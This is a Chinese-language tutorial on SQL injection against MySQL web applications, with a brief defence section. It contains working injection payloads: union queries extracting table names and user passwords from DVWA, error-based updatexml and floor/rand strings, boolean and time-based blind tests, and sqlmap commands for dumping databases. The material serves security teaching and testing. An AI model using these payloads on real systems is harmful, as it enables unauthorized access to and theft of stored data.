一文详述SQL注入
字数 3122 2025-08-29 08:29:36
SQL注入全面解析与实战指南
一、SQL注入基础概念
1.1 漏洞描述
SQL注入是指Web应用对用户输入数据没有经过严格判断和过滤,用户输入的参数被直接带入数据库作为查询参数执行。攻击者通过构造特殊参数改变SQL语句原本逻辑,执行攻击者指定的操作(如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等)。
本质:违背"数据与代码分离"原则,把用户输入的参数当作代码执行。
1.2 SQL注入条件
- 用户可以控制前端传给后端的参数内容
- 用户输入的参数会被带入数据库,拼接到SQL语句中进行查询
二、MySQL相关知识
2.1 information_schema库
MySQL 5.0+默认包含的数据库,重点关注三个表:
- SCHEMATA:存储用户创建的所有数据库名(SCHEMA_NAME字段)
- TABLES:存储所有数据库的库名和表名(TABLE_SCHEMA和TABLE_NAME字段)
- COLUMNS:存储所有数据库的库名、表名和字段名(TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME字段)
2.2 常用函数
DATABASE():返回当前选择的数据库名VERSION():返回MySQL服务器版本信息USER():返回当前MySQL会话登录用户信息
2.3 注释符
#:单行注释(URL编码为%23)--:单行注释(URL中用"+"或%20表示空格)/*...*/:多行注释/*! code */:内联注释(MySQL特定版本执行)
2.4 参数位置
- URL中(GET请求)
- POST请求体
- COOKIE
- 其他请求头
2.5 参数数据类型
- int整型:
select * from users where id=1 - string字符型:
select * from users where username='admin' - like搜索型:
select * from news where title like '%标题%'
三、Union联合注入
3.1 关键技术
- UNION:合并多个SELECT结果集
- ORDER BY:通过列名或位置排序,可判断列数
- 占位符:临时填充查询位置(如
SELECT 1,2,3) - 子查询:嵌套查询技术
- LIMIT:限制返回记录数(
LIMIT offset,count) - GROUP_CONCAT():将分组内多行值连接成字符串
- CONCAT():拼接多个字符串
3.2 漏洞利用步骤
- 注入测试:通过添加单引号和注释符测试注入点
- 判断列数:使用
ORDER BY n逐步增加n直到报错 - 确定回显位:使用
UNION SELECT 1,2,...查看哪些列会显示 - 信息收集:
- 版本和数据库:
union select version(),database() - 表名:
union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' - 字段名:
union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' - 数据内容:
union select group_concat(user),group_concat(password) from users
- 版本和数据库:
四、Boolean布尔盲注
4.1 关键技术
- IF():
IF(condition, true_value, false_value) - SUBSTRING()/SUBSTR()/MID():提取子字符串
- LEFT()/RIGHT():从开头/末尾提取字符串
- LENGTH():计算字符串字节长度
- CHAR_LENGTH():计算字符串字符数
4.2 漏洞利用
- 注入测试:使用
and 1=1和and 1=2验证注入 - 信息获取:
- 数据库名长度:
and length(database())=n - 逐个字符猜测:
and substr(database(),1,1)='a'
- 数据库名长度:
- 自动化工具:使用Burpsuite的Intruder模块(Cluster bomb模式)加速猜测过程
五、报错注入
5.1 关键技术
- floor():结合rand()和group by制造报错
- extractvalue():XML解析函数,用于报错显示
- updatexml():XML修改函数,报错显示(限制32字符)
- 几何函数:geometrycollection(), multipoint(), polygon()等
- exp():数学函数制造报错
5.2 漏洞利用
- 获取库名:
and updatexml(1,concat(0x7e,database(),0x7e),1) - 获取表名:
and (select 1 from (select count(*),concat((SELECT concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1), floor(rand(0)*2))x from information_schema.tables group by x)a) - 获取字段和数据:类似方法逐步获取
六、时间注入
6.1 关键技术
- SLEEP():暂停执行指定秒数
- BENCHMARK():重复执行表达式评估性能
6.2 漏洞利用
- 基本测试:
and if(2>1,sleep(5),1)观察响应时间 - sqlmap自动化:
sqlmap -u "url" -p name -v 1 --technique=T sqlmap -u "url" -p name -v 1 --technique=T --current-user --current-db --batch sqlmap -u "url" -p name -v 1 --technique=T -D dbname --tables --batch
七、其他注入类型
7.1 堆叠注入
- 原理:利用
mysqli_multi_query()一次执行多条SQL语句 - 利用:在注入点后添加分号和新语句,如
; insert into users values(...)
7.2 二次注入
- 原理:第一次插入时转义特殊字符,但存储时恢复原状;第二次使用时直接拼接导致注入
- 利用:注册含特殊字符的用户名,后续操作触发注入
7.3 宽字节注入
- 原理:GBK等双字节编码导致转义字符被"吃掉"
- 利用:使用
%df%27等组合绕过转义
7.4 COOKIE注入
- 原理:从COOKIE获取未过滤的参数
- 利用:修改COOKIE值进行注入
7.5 Base64编码注入
- 原理:参数Base64解码后直接拼接SQL
- 利用:将注入语句Base64编码后提交
7.6 HTTP头注入(XFF、User-Agent等)
- 原理:从HTTP头获取未过滤的参数
- 利用:修改对应头字段进行注入
八、防御措施
- 使用参数化查询(预处理语句)
- 对输入进行严格过滤和转义
- 最小权限原则,数据库账户限制权限
- 关闭错误回显
- 使用Web应用防火墙(WAF)
- 定期安全审计和漏洞扫描
九、工具推荐
- sqlmap:自动化SQL注入工具
- Burpsuite:用于手动测试和自动化猜测
- Havij:图形化SQL注入工具
- NoSQLMap:针对NoSQL数据库的注入工具
通过全面理解这些注入技术和防御措施,安全人员可以更有效地发现和修复SQL注入漏洞,开发人员也能编写更安全的代码。